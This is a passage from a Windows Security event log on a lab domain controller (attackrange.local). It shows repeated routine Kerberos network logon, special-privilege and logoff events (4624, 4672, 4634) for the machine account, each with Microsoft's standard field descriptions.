	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		63906

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248411
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB337D

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248410
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB3320

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248409
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xB3320
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		63905

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248408
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB3320

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248431
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB3656

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248430
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xB3656
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		63914

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248429
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB3656

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248428
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB35F9

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248427
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xB35F9
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		63913

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248426
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB35F9

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248425
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB3597

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248424
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xB3597
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		63912

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248423
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB3597

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248422
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB353A

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248421
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xB353A
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		63911

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248420
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB353A

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:14 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248443
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB37D7

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:14 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248442
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xB37D7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		63918

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:14 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248441
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB37D7

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:14 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248440
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB377A

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:14 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248439
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xB377A
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		63917

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:14 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248438
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB377A

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:14 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248437
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB3718

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:14 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248436
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xB3718
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		63916

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:14 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248435
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB3718

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:14 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248434
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB36BB

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:14 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248433
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xB36BB
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		63915

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:14 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
